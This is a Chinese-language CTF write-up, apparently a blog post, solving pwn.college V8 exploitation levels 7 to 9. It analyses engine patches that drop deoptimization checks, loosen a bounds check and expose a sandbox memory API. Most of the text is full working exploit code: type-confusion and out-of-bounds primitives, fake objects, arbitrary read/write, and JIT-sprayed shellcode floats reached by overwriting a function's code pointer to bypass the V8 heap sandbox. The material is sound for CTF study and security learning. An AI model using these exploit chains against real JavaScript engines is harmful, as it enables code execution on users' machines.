本文为pwncollege V8 Exploitation WP, 包含LEVEL 7-9
更新于2024.12.27…
欢迎在文末评论区进行留言讨论或指出问题

废话

最近一直零零散散在忙别的任务,而且在做level7的时候遇到一些非常抽象的问题(包括但不限于: 同一个全局Array在中间执行了GetAddressOf函数后,Array的地址自动变了,不是elements变了,是TMD %DebugPrint()输出的地址变了。导致我leak了地址,但是没有完全leak)。这些逆天问题卡了一两天才碰巧解决,导致多半个月并未更新

LEVEL 7

patch

话不多说,开始还是先来分析patch部分,核心代码更改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
diff --git a/src/compiler/turboshaft/machine-lowering-reducer-inl.h b/src/compiler/turboshaft/machine-lowering-reducer-inl.h
index 170db78717b..17b0fe5c4e9 100644
--- a/src/compiler/turboshaft/machine-lowering-reducer-inl.h
+++ b/src/compiler/turboshaft/machine-lowering-reducer-inl.h
@@ -2740,7 +2740,7 @@ class MachineLoweringReducer : public Next {
const ZoneRefSet<Map>& maps, CheckMapsFlags flags,
const FeedbackSource& feedback) {
if (maps.is_empty()) {
- __ Deoptimize(frame_state, DeoptimizeReason::kWrongMap, feedback);
+ //__ Deoptimize(frame_state, DeoptimizeReason::kWrongMap, feedback);
return {};
}

@@ -2749,14 +2749,14 @@ class MachineLoweringReducer : public Next {
IF_NOT (LIKELY(CompareMapAgainstMultipleMaps(heap_object_map, maps))) {
// Reloading the map slightly reduces register pressure, and we are on a
// slow path here anyway.
- MigrateInstanceOrDeopt(heap_object, __ LoadMapField(heap_object),
- frame_state, feedback);
- __ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
- DeoptimizeReason::kWrongMap, feedback);
+ //MigrateInstanceOrDeopt(heap_object, __ LoadMapField(heap_object),
+ // frame_state, feedback);
+ //__ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
+ // DeoptimizeReason::kWrongMap, feedback);
}
} else {
- __ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
- DeoptimizeReason::kWrongMap, feedback);
+ //__ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
+ // DeoptimizeReason::kWrongMap, feedback);
}
// Inserting a AssumeMap so that subsequent optimizations know the map of
// this object.

这次的patch相对简单,总体来讲就是注释掉了几个Deoptimize流程函数。我们都知道,JIT的优化代码是基于假设成立的,而当假设不成立时(比如遇到了其他类型的数据),会触发去优化(Deoptmize) 流程来保证程序的正常运行。

显而易见,去掉Deoptimize会导致被JIT优化过的代码,在遇到假设不成立的情况时无法完成回退,从而存在类型混淆的风险。

注意:经过我实际的测试,这段注释掉的Deoptmize代码只影响Turbofan优化后的代码,而通过MAGLEV优化的代码并不会受到影响,在exp调试的时候需要注意

类型混淆

假设有如下函数

1
2
3
4
5
6
7
8
function opt(arr, i) {
...
arr[0] = 1.1;
if(...) {
change_arr();
}
return arr[0];
}

如果参数arr多次为double array,并且change_arr()几乎不调用或不改变arr。那么经过Turbofan优化后,会自然的假设arr为一个double array并返回0号元素,如图

image-20241224141333800

此时,如果change_arr()函数突然更改了arr的形状为PACKED ELEMENTS,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
function change() {
if(change_flag) array[1] = obj; // PACKED_DOUBLE_ELEMENTS --> PACKED_ELEMENTS
}

change_flag = false;
...
/*
Turbofan 优化opt, 此时change不会改变arr形状
*/
...
change_flag = true;
array = [1.1, 2.2];
let something = opt(array, 0);

则当return arr[0]时Turbofan如果无法正常完成Deoptimize,则会导致函数opt类型混淆,将obj的地址作为浮点数返回。

由此可以得到一个验证代码,这里可以使用%OptimizeFunctionOnNextCall()强制进行优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var change_flag;
let array;
var obj = {a:1, b:2};
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function change() {
if(change_flag) array[1] = obj;
}

function opt(arr, i) {
arr[0] = 1.1;
if(change_flag || i < 1) {
change();
}
return arr[0];
}

change_flag = false;

%OptimizeFunctionOnNextCall(opt);

array = [1.1, 2.2];
opt(array, 0);

%OptimizeFunctionOnNextCall(opt);

change_flag = true;
array = [1.1, 2.2];
f64[0] = opt(array, 0);
let obj_addr = u32[1];
// %DebugPrint(obj);
console.log("obj addr -->0x"+hex(obj_addr));
%SystemBreak();

漏洞利用

有了上述的基本思想,我们就看考虑实现GetAddertssOf()GetFakeObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function GetAddressOf(obj) {
let trigger_flag;
let arr;

function transition() {
if (trigger_flag)
arr[1] = obj;
}

function opt(arr, i) {
for (let i = 0; i < 1000000; i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率,
arr[0] = 1.1;
if (trigger_flag || i<1)
transition();//在正式利用前调用少量次数为其生成字节码,并防止被内联
return arr[0];
}

trigger_flag = false;
for (let i = 0; i < 1000; i++) {
arr = [1.1, 2.2];
opt(arr, i);
}
trigger_flag = true;
arr = [1.1, 2.2];
f64[0] = opt(arr, 0);
return u32[1];
}

GetFakeObject()如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function GetFakeObject(addr) {
let trigger_flag;
let arr;

function transition() {
if (trigger_flag)
arr[1] = {};
}

function opt(arr, i) {
for (let i = 0; i < 1000000; i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率,
arr[0] = 1.1;
if (trigger_flag || i<1)
transition();//在正式利用前调用少量次数为其生成字节码,并防止被内联
arr[0] = u2f(addr, 0);
}

trigger_flag = false;
for (let i = 0; i < 1000; i++) {
arr = [1.1, 2.2];
opt(arr, i);
}
trigger_flag = true;
arr = [1.1, 2.2];
opt(arr, 0);
return arr[0];
}

促使函数被JIT优化,有多个思路:

  • 大量的调用次数
  • 较长的执行时间

这里我使用for (let i = 0; i < 1000000; i++);来增加函数执行时间以促使opt被优化,不过需要把握时间长短,太长影响代码整体速率,太短可能并非Turbofan优化,而是MAGLEV

exp

参考exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

function i2u_l(i) {
bigUint64[0] = i;
return u32[0];
}

function i2u_h(i) {
bigUint64[0] = i;
return u32[1];
}

function shellcode() { // Promote to ensure not GC during training
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
}

for(let i = 0; i < 1000; i++)shellcode();

function GetAddressOf(obj) {
let trigger_flag;
let arr;

function transition() {
if (trigger_flag)
arr[1] = obj;
}

function opt(arr, i) {
for (let i = 0; i < 1000000; i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率,
arr[0] = 1.1;
if (trigger_flag || i<1)
transition();//在正式利用前调用少量次数为其生成字节码
return arr[0];
}

trigger_flag = false;
for (let i = 0; i < 1000; i++) {
arr = [1.1, 2.2];
opt(arr, i);
}
// %DebugPrint(transition);
// %DebugPrint(opt);
trigger_flag = true;
arr = [1.1, 2.2];
f64[0] = opt(arr, 0);
%DebugPrint(arr);
%DebugPrint(f64[0]);
%SystemBreak();
return u32[1];
}

let shellcode_addr = GetAddressOf(shellcode);
console.log("shellcode_obj_addr-->0x"+hex(shellcode_addr));

function GetFakeObject(addr) {
let trigger_flag;
let arr;

function transition() {
if (trigger_flag)
arr[1] = {};
}

function opt(arr, i) {
for (let i = 0; i < 1000000; i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率,
arr[0] = 1.1;
if (trigger_flag || i<1)
transition();//在正式利用前调用少量次数为其生成字节码
arr[0] = u2f(addr, 0);
}

trigger_flag = false;
for (let i = 0; i < 1000; i++) {
arr = [1.1, 2.2];
opt(arr, i);
}
// %DebugPrint(transition);
// %DebugPrint(opt);
trigger_flag = true;
arr = [1.1, 2.2];
opt(arr, 0);
return arr[0];
}

let fake_double_map_addr = 0x1cb7f9;
console.log("fake_double_map_addr-->0x"+hex(fake_double_map_addr));

var fake_array = [u2f(fake_double_map_addr,0x725), u2f(0x725, 100)];

var fake_array_addr = GetAddressOf(fake_array);

console.log("fake_array_addr-->0x"+hex(fake_array_addr));
// %DebugPrint(fake_array);
let fake_obj = GetFakeObject(fake_array_addr + 0x54);

function ArbRead64(addr) {
fake_array[1] = u2f(addr-8, 100);
return f2i(fake_obj[0]);
}

function ArbWrite64(addr, data) {
fake_array[1] = u2f(addr-8, 100);
fake_obj[0] = i2f(data);
}

let code_addr = i2u_l(ArbRead64(shellcode_addr + 0xc));
console.log("code_addr-->0x"+hex(code_addr));
machine_addr = ArbRead64(code_addr + 0x14);
console.log("machine_code_addr-->0x"+hex(machine_addr));

ArbWrite64(code_addr+0x14, machine_addr + 0x6bn);

shellcode();

LEVEL 8

patch

这次的patch看起来很简单,核心部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index 02a53ebcc21..006351a3f08 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -1888,11 +1888,11 @@ class RepresentationSelector {
if (lower<T>()) {
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
- index_type.Max() < length_type.Min())) {
+ index_type.Min() < length_type.Min())) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
// TODO(neis): Move this into TypedOptimization?
- if (v8_flags.turbo_typer_hardening) {
+ if (false /*v8_flags.turbo_typer_hardening*/) {
new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
} else {
DeferReplacement(node, NodeProperties::GetValueInput(node, 0));

从补丁内容可以看出,主要涉及 V8 在进行Simplified Lowering时对数组越界检查的处理逻辑,具体来说,这段补丁主要放宽了对索引范围的检测条件,原逻辑是当满足:

$$
(index\_type.Min≥0.0)  ∧  (index\_type.Max<length\_type.Min)
$$

时,就判定“索引一定落在 [0, length) 之内”,进而认为「这个数组越界检查是多余的,可以省略」。而补丁将其改成了:

$$
(index\_type.Min≥0.0)  ∧  (index\_type.Min<length\_type.Min)
$$

也就是说,从「需要整段区间都在数组范围内」变成了「只要索引最小值小于 length 的最小值就行」,造成了数组越界访问的风险。

越界访问

为了验证上述思路,假设有如下代码:

1
2
3
4
5
6
7
8
function opt_me(i) {
let array = [1.1];
i = i & 0xff;
f64[0] = array[i];
u32[1] = 0x12345678;
array[i] = f64[0];
return array;
}
  • let array = [1.1]; 则array的len属于 [1 , 1)
  • i = i & 0xff; 则i的属于为 [0 , 255]
  • 此时满足条件:
    $$
    (index\_type.Min≥0.0)  ∧  (index\_type.Max<length\_type.Min)
    $$
  • 因此优化阶段,会省略掉对index的范围检测

同样使用%OptimizeFunctionOnNextCall优化函数:

1
2
3
4
5
6
7
8
%OptimizeFunctionOnNextCall(opt_me);
opt_me(0);

%OptimizeFunctionOnNextCall(opt_me);
let last = opt_me(1);

%DebugPrint(opt_me);
%DebugPrint(last);

这里return array 而不return array[1]是为了防止代码优化后越界访问会直接返回0x12345678(我们设置的值)

查看返回array的元素内容

image-20241225105038731

image-20241225105101319

可以看到array[1]恰好就是array对应的map和properties域,同理我们也可以尝试修改elementslen域:

image-20241225105321078

漏洞利用

同样,有了上面的基础可以很容易的写出地址泄露的函数GetAddressOf()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function GetAddressOf(target) {

function opt_me(i , target_) {
let array = [1.1];
let obj = [target_];
i = i & 0xff;
f64[0] = array[i];
u32[1] = 0x001cb7f9; //double array map
array[i] = f64[0];
return [array, obj, target_];
}

for(let i = 0; i<1000000; i++)
opt_me(0 , target);

let last = opt_me(4 , target);
let obj_tmp = last[1];
f64[0] = obj_tmp[0];
return u32[0];
}

这里使用的是循环调用来调用Turbofan优化。另外,由于可以越界修改elements,我们也可以直接实现ArbReadArbWrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function ArbRead64 (addr) {
function opt_me(i , addr) {
for(let i=0; i < 1000000; i++);
let array = [1.1];
i = i & 0xff;
f64[0] = array[i];
u32[0] = addr - 8; //elements
array[i] = f64[0];
return array;
}
for(let i = 0; i<1000; i++)
opt_me(0 , addr);

let last = opt_me(2 , addr);
return f2i(last[0]);
}

function ArbWrite64(addr, value) {
function opt_me(i , addr) {
for(let i=0; i < 1000000; i++);
let array = [1.1];
i = i & 0xff;
f64[0] = array[i];
u32[0] = addr - 8; //elements
array[i] = f64[0];
return array;
}
for(let i = 0; i<1000; i++)
opt_me(0 , addr);

let last = opt_me(2 , addr);
last[0] = i2f(value);
}

针对读写我这里使用垃圾时间来触发Turbofan优化,两种触发思路怎么选择视具体情况而定(这个读写我之前循环了1_0000_0000次,也没有Turbofan优化,所以选择垃圾时间)

exp

完整exp也比较简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
// template:
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

function i2u_l(i) {
bigUint64[0] = i;
return u32[0];
}

function i2u_h(i) {
bigUint64[0] = i;
return u32[1];
}

function shellcode() { // Promote to ensure not GC during training
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
}
for(let i = 0; i < 1000; i++)shellcode();

function GetAddressOf(target) {

function opt_me(i , target_) {
let array = [1.1];
let obj = [target_];
i = i & 0xff;
f64[0] = array[i];
u32[1] = 0x001cb7f9; //double array map
array[i] = f64[0];
return [array, obj, target_];
}

for(let i = 0; i<1000000; i++)
opt_me(0 , target);

let last = opt_me(4 , target);
// %DebugPrint(last);
let obj_tmp = last[1];
f64[0] = obj_tmp[0];
return u32[0];
}

shellcode_addr = GetAddressOf(shellcode);
console.log("[+] shellcode_addr: 0x" + hex(shellcode_addr));

function ArbRead64 (addr) {
function opt_me(i , addr) {
for(let i=0; i < 1000000; i++);
let array = [1.1];
i = i & 0xff;
f64[0] = array[i];
u32[0] = addr - 8; //elements
array[i] = f64[0];
return array;
}
for(let i = 0; i<1000; i++)
opt_me(0 , addr);

let last = opt_me(2 , addr);
return f2i(last[0]);
}

function ArbWrite64(addr, value) {
function opt_me(i , addr) {
for(let i=0; i < 1000000; i++);
let array = [1.1];
i = i & 0xff;
f64[0] = array[i];
u32[0] = addr - 8; //elements
array[i] = f64[0];
return array;
}
for(let i = 0; i<1000; i++)
opt_me(0 , addr);

let last = opt_me(2 , addr);
last[0] = i2f(value);
}

let code_addr = i2u_l(ArbRead64(shellcode_addr + 0xc));
console.log("[+] code_addr: 0x" + hex(code_addr));
let machine_addr = ArbRead64(code_addr + 0x14);
console.log("[+] machine_addr: 0x" + hex(machine_addr));

ArbWrite64(code_addr + 0x14, machine_addr + 0x6bn);

shellcode();
// %SystemBreak();

LEVEL 9

2024/12/27更新:总算是在2025年之前做完了这个系列题目,刚好明天就出发去滑雪,连着元旦能玩五天。

patch

废话不多说,直接来看patch,核心文件时testing.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
// static
void MemoryCorruptionApi::Install(Isolate* isolate) {
CHECK(GetProcessWideSandbox()->is_initialized());

Factory* factory = isolate->factory();

// Create the special Sandbox object that provides read/write access to the
// sandbox address space alongside other miscellaneous functionality.
Handle<JSObject> sandbox =
factory->NewJSObject(isolate->object_function(), AllocationType::kOld);

InstallGetter(isolate, sandbox, SandboxGetByteLength, "byteLength");
InstallConstructor(isolate, sandbox, SandboxMemoryView, "MemoryView", 2);
InstallFunction(isolate, sandbox, SandboxGetAddressOf, "getAddressOf", 1);
InstallFunction(isolate, sandbox, SandboxGetSizeOf, "getSizeOf", 1);

// Install the Sandbox object as property on the global object.
Handle<JSGlobalObject> global = isolate->global_object();
Handle<String> name = factory->NewStringFromAsciiChecked("Sandbox");
JSObject::AddProperty(isolate, global, name, sandbox, DONT_ENUM);
}

这里的部分能为我们提供一个大致的了解:

  • 创建了一个全局的对象Sandbox
  • 其中包含几个方法,看名字也能大致知道含义:
    • SandboxGetByteLength,接收参数数量0,返回Sandbox大小
    • SandboxMemoryView,接收2个参数,用于返回指定Sandbox区域的mem对象
    • SandboxGetAddressOf,接收1个参数,用于获取指定对象的地址
    • SandboxGetSizeOf,接收1个参数,用于获取对象大小

下面看看具体相关实现.

Sandbox.byteLength

1
2
3
4
5
6
// Sandbox.byteLength
void SandboxGetByteLength(const v8::FunctionCallbackInfo<v8::Value>& args) {
v8::Isolate* isolate = args.GetIsolate();
double sandbox_size = GetProcessWideSandbox()->size();
args.GetReturnValue().Set(v8::Number::New(isolate, sandbox_size));
}

非常直观,调用GetProcessWideSandbox()->size()直接获取Sandbox的大小范围,使用方法

1
2
let sandbox_len = Sandbox.byteLength;
console.log("sandbox_len-->0x" + hex(sandbox_len));

Sandbox.MemoryView

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// new Sandbox.MemoryView(args) -> Sandbox.MemoryView
void SandboxMemoryView(const v8::FunctionCallbackInfo<v8::Value>& args) {
v8::Isolate* isolate = args.GetIsolate();
Local<v8::Context> context = isolate->GetCurrentContext();

if (!args.IsConstructCall()) {
isolate->ThrowError("Sandbox.MemoryView must be invoked with 'new'");
return;
}

Local<v8::Integer> arg1, arg2;
if (!args[0]->ToInteger(context).ToLocal(&arg1) ||
!args[1]->ToInteger(context).ToLocal(&arg2)) {
isolate->ThrowError("Expects two number arguments (start offset and size)");
return;
}

Sandbox* sandbox = GetProcessWideSandbox();
CHECK_LE(sandbox->size(), kMaxSafeIntegerUint64);

uint64_t offset = arg1->Value();
uint64_t size = arg2->Value();
if (offset > sandbox->size() || size > sandbox->size() ||
(offset + size) > sandbox->size()) {
isolate->ThrowError(
"The MemoryView must be entirely contained within the sandbox");
return;
}

Factory* factory = reinterpret_cast<Isolate*>(isolate)->factory();
std::unique_ptr<BackingStore> memory = BackingStore::WrapAllocation(
reinterpret_cast<void*>(sandbox->base() + offset), size,
v8::BackingStore::EmptyDeleter, nullptr, SharedFlag::kNotShared);
if (!memory) {
isolate->ThrowError("Out of memory: MemoryView backing store");
return;
}
Handle<JSArrayBuffer> buffer = factory->NewJSArrayBuffer(std::move(memory));
args.GetReturnValue().Set(Utils::ToLocal(buffer));
}

有了前面那么多的patch阅读经验,我相信还是很容易看懂的,使用方式如下:

1
2
3
4
5
let mem = new Sandbox.MemoryView(addr, len);
let arr = new Uint32Array(mem);
console.log(arr[0]);
arr[0] = x;
...

Sandbox.getAddressOf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Sandbox.getAddressOf(object) -> Number
void SandboxGetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args) {
v8::Isolate* isolate = args.GetIsolate();

if (args.Length() == 0) {
isolate->ThrowError("First argument must be provided");
return;
}

Handle<Object> arg = Utils::OpenHandle(*args[0]);
if (!arg->IsHeapObject()) {
isolate->ThrowError("First argument must be a HeapObject");
return;
}

// HeapObjects must be allocated inside the pointer compression cage so their
// address relative to the start of the sandbox can be obtained simply by
// taking the lowest 32 bits of the absolute address.
uint32_t address = static_cast<uint32_t>(HeapObject::cast(*arg).address());
args.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
}

使用方法:

1
addr = Sandbox.getAddressOf(obj);

Sandbox.getSizeOf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Sandbox.getSizeOf(object) -> Number
void SandboxGetSizeOf(const v8::FunctionCallbackInfo<v8::Value>& args) {
v8::Isolate* isolate = args.GetIsolate();

if (args.Length() == 0) {
isolate->ThrowError("First argument must be provided");
return;
}

Handle<Object> arg = Utils::OpenHandle(*args[0]);
if (!arg->IsHeapObject()) {
isolate->ThrowError("First argument must be a HeapObject");
return;
}

int size = HeapObject::cast(*arg).Size();
args.GetReturnValue().Set(v8::Integer::New(isolate, size));
}

使用方式:

1
size = Sandbox.getSizeOf(obj);

Sandbox绕过

关于Sandbox的内容可以看官方博客,写的非常通俗易懂:The V8 Sandbox

我们知道,本质上Sandbox就是限制了一个内存区域,所有内部寻址使用40位的偏移指针(也就是最大支持1TB的空间寻址)。当需要进行外部空间访问时,使用一个中转表进行指针转换。而表项本身是在Sandbox外部存储,也避免了Sandbox内部内存损坏时,出现篡改Pointer Table的情况(类似偏移寻址 + 表项指针转换的思想我们在计算机组成原理中随处可见,是一种非常简洁但是高效的思想)

sandbox

图源 :The V8 Sandbox

因此,Sandbox主要是为了防止内部的内存问题影响到外部对象而设计的。这种方案在一定程序上限制了类似篡改WebAssembly创建rwx的空间这样的攻击手法,使得影响范围尽量局限在沙盒内部。绕过方式,便是我们之前一直用到的,JIT优化字节码,构造立即数shellcode,相关的文章可以看这里:Dice CTF Memory Hole: Breaking V8 Heap Sandbox

简单来说,经过JIT优化后,function对象内会有一个code指针,指向优化后的可以执行字节码。

引用自Dice CTF Memory Hole: Breaking V8 Heap Sandbox,个人翻译可能与原文有所偏差

我们可以尝试修改code字段,看看我们是否可以在调用这个JavaScript函数时劫持rip。我们使用gdb set命令将code这个字段设置为0x414141,并在JavaScript中调用此函数。我们可以在以下位置看到崩溃

1
2
3
4
5
6
7
► 0x7fb07e8206b    test   dword ptr [rcx + 0x1b], 0x20000000
0x7fb07e82072 jne 0x7fb07e82081 <0x7fb07e82081>

0x7fb07e82078 add rcx, 0x3f
0x7fb07e8207c jmp 0x7fb07e8208c <0x7fb07e8208c>

0x7fb07e8208c jmp rcx

此时rcx的值时0x7fb00414141,这是基质加上我们设置的值。

查看发生崩溃的汇编代码,我们可以得出结论,如果dword ptr [rcx + 0x1b] & 0x20000000为零,则rip将被设置为rcx + 0x3f,这是一个相对容易满足的条件.

需要注意的是JIT生成的字节码区域没有可写权限,要满足[rcx + 0x1b] & 0x20000000 == 0时,[rcx + 0x1b]往往是字节码的一部分区域,这些汇编命令的16进制值不太可能直接满足这个条件。因此需要一定的技巧,比如在shellcode浮点数组开头增加一个1.0,大概率就能满足条件,如下:

1
2
3
4
function shellcode() { // Promote to ensure not GC during training
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
return [1.0, 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
}

exp

剩下就非常简单了,放一个参考exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

function i2u_l(i) {
bigUint64[0] = i;
return u32[0];
}

function i2u_h(i) {
bigUint64[0] = i;
return u32[1];
}

function shellcode() { // Promote to ensure not GC during training
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
for(let i = 0; i < 10000; i++);
return [1.0, 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
}
for(let i = 0; i < 10000; i++)shellcode();

%DebugPrint(shellcode)

let sandbox_len = Sandbox.byteLength;
console.log("sandbox_len-->0x" + hex(sandbox_len));


let shellcode_addr = Sandbox.getAddressOf(shellcode);
console.log("shellcode_addr-->0x" + hex(shellcode_addr));

let shellcode_mem = new Sandbox.MemoryView(shellcode_addr, 0x1000);
let evil_arr1 = new Uint32Array(shellcode_mem);
let code_addr = evil_arr1[6];
console.log("code_addr-->0x" + hex(code_addr));
evil_arr1[6] = code_addr + 0xa7;

let code_mem = new Sandbox.MemoryView(code_addr + 0xa7+ 0x1b, 0x10);
let evil_arr2 = new Uint32Array(code_mem);
console.log("&2000_0000 => 0x" + hex(evil_arr2[0]));


shellcode();

%SystemBreak();

其他

也算是进入总榜第一页了

image-20241227154839289